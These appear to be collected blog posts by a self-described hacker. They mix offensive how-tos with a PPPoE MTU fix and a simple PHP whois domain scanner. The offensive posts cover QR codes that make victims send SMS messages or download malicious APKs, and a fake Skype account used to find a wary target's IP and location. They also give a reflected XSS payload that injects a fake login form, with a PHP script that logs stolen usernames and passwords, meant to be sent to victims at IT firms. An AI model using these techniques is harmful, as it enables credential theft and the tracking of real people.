Zuo Bruno (Brun0L3z)

      Its a big marvel to some when a simple question like "how hackers get access to bank accounts" is asked. This is because many of us have full trust in the security of out banks. In this short video I, with the help of the Zuoix Team explain how this can be possible within as short a time as 30 minutes.


    In the video, we assume that the hacker has no access to any user's info and therefore is attacking the integrity of the bank itself not its users. We can only hope that this opens your eyes and help you choose a right and more secured bank.

    You can comment or ask any question.

Thanks

Hello and welcome once more. This morning I was wondering if an attacker can use QR codes to hack clients and unsuspecting people and I want to look at this from all angles so this post will be updated several times before the end of the day.

So what is a QR code? basically its a Quick Response code for more details on this check out This Post on Wikipedia The first thing I noticed is that since these codes can redirect to a web page, an attacker can use this to make a victim download malicious APK files which can harm their device.

SENDING SMS: That is not the only thing these codes can do, they can be programmed to send emails, send sms, makes calls etc (we will see into that later) which can be a harm. An attacker can draft an SMS enter the recipient number and send the code to a victim (who if not vigilant) can send an SMS which he did not type, a good example is the Picture below which you can scan to prove this. it was crafted by me and it sends and SMS to my direct line through your phone.

a few Minutes ago I posted on twitter that will be sharing my 10 Most dangerous php script and how to use them. I will not be giving any php tutorials in this post so I am assuming you can atleast read PHP and know how to install it and run it. If you cannot do these, please search google.
                                           
Here we go

1- TWO DOMAIN NAME SCANNER

      I have always wanted to hack into corporate domains but the problems is that some two domains (02) fail to give the right info. who will guess that the solution lies in this script? Scan .cm .ng .tr etc domain names with this php code:


define("__USED_CHARS__", "abcdefghijklmnopqrstuvwxyz0123456789");
define("__CASE_SENSITIVE__", true); // Use string above or use uppercase / lowercase variant

$bf = new chargen(2); // new chargen object, length 2
$bf->generate("whois"); // generate chars and call whois function

function whois($str)
{
        $domain = $str.".com";

        $retval = shell_exec("whois $domain");

        if (eregi("no match", $retval))
                echo $domain." ist available\n";
        else
                echo $domain." is unavailable\n";
}

class chargen
{
        private $chars = NULL;
        private $maxlength = NULL;

        protected $buffer = NULL;

        function generate($mycallback = false)
        {
                foreach ($this->buffer as $char)
                {
                        foreach ($this->chars as $nextchar)
                        {
                                $retval = $char.$nextchar;
                                $this->buffer[$retval] = $retval;

                                if ($mycallback && function_exists($mycallback))
                                        $mycallback($retval);
                                else
                                        echo $retval."\n";
                        }
                }

                if (strlen($retval) == $this->maxlength)
                        return;

                $this->generate($mycallback);
        }

        function __construct($maxlength = 8)
        {
                $chars = array();

                $this->buffer = array();
                array_push($this->buffer, "");

                for ($i = 0; $i < strlen(__USED_CHARS__); $i++)
                {
                        $index = substr(__USED_CHARS__, $i, 1);

                        if (__CASE_SENSITIVE__)
                        {
                                $this->chars[$index] = $index;
                        }
                        else
                        {
                                $this->chars[strtolower($index)] = strtolower($index);
                                $this->chars[strtoupper($index)] = strtoupper($index);
                        }
                }

                $this->maxlength = $maxlength;
        }
}
?>

Dear readers,

     Today I am going to show you how to solve a very very very hard problem in a very simple manner. If you are using Linux and Ringo Cameroon PPPoE or if you are using PPPoE or any other method to connect to the internet and then all of a sudden the following happens then read on:

1. You can browse some websites but not others
2. you can ping a website but cannot open in browser
3. you can telnet a website but cannot open in browser
4. you can traceroute a website but does not open in browser
5. filezilla loads and stops just before opening a remote directory
6. your skype works while facebook chat or empathy messenger will not
7. your internet suddenly slows down and sites fail to open

                               /sbin/ifconfig ppp0 mtu 1400

Then press enter and you are done. Solved. (this took me 7 days to figure out)

Thanks for reading

In my search for victim's IP and came across a unique situation. My victim was a user running windows and had no website, will not give me his email and was totally non considerate. infact he knew I was a hacker and was on the watch out. so what do I do???

   So what we can do if you find yourself in a similar position is to create a fake Skype account. make it fancy.. That should be easy to do. then search for the name of your victim. add them with a fancy intro so that they add you.

  once they are online start a conversation (not necessarily voice) just some text is enough. then open a terminal and type:

netstat -tupan | grep skype

if you were talking with more than 1 person. Just copy the IP and paste in www.ip2location.com to get the location so as to know the victim.

Thanks for reading. Your comments will be welcomed

Hello again and welcome to one of my new posts, today I will like to focus on the consequences of XSS (Cross Site Scripting) which affects more than 85% of the African websites I have scanned recently inclusing government websites and those of high tech companies too (some of them IT Companies).

So what is XSS? please check my other posts of follow my tweets with #afrohats or www.facebook.com/afrohats for details.

I have noticed that XSS is mostly exploitable using the Search form on websites. and there are basically three forms of this vulnerability:

1. Reflected XSS (show you you typed on the website)
2. Stored XSS     (processes and stores what you typed on a DB - Dangerous affair)
3. DOM-based XSS (injected code changes document object model)

http://10.0.0.2/xss/index.php?msg=<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>

so we get something like this:

http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>”;</script>

<?php$user = $_POST['username'];
$pass = $_POST['password'];
$fh = fopen(“log.txt”, ‘a’) or die(“can’t open file”);
$stringData = “\nUsername:$user\nPassword:$pass\n”;
fwrite($fh, $stringData);
fclose($fh);
header(“Location: http://10.0.0.2/xss/index.php?msg=Invalid username/password”);
?>

This means our html source now looks like this:
 Now send this to a victim and you get the username and password of an IT corporation....

Thanks for reading.

Imagine a truly IT Security company in Cameroon that deals totally on all aspects of Offensive Security and other important IT stuffs? I will love to get ideas from guys how much they thing might cost to register such a company and what format they will advice:

Thanks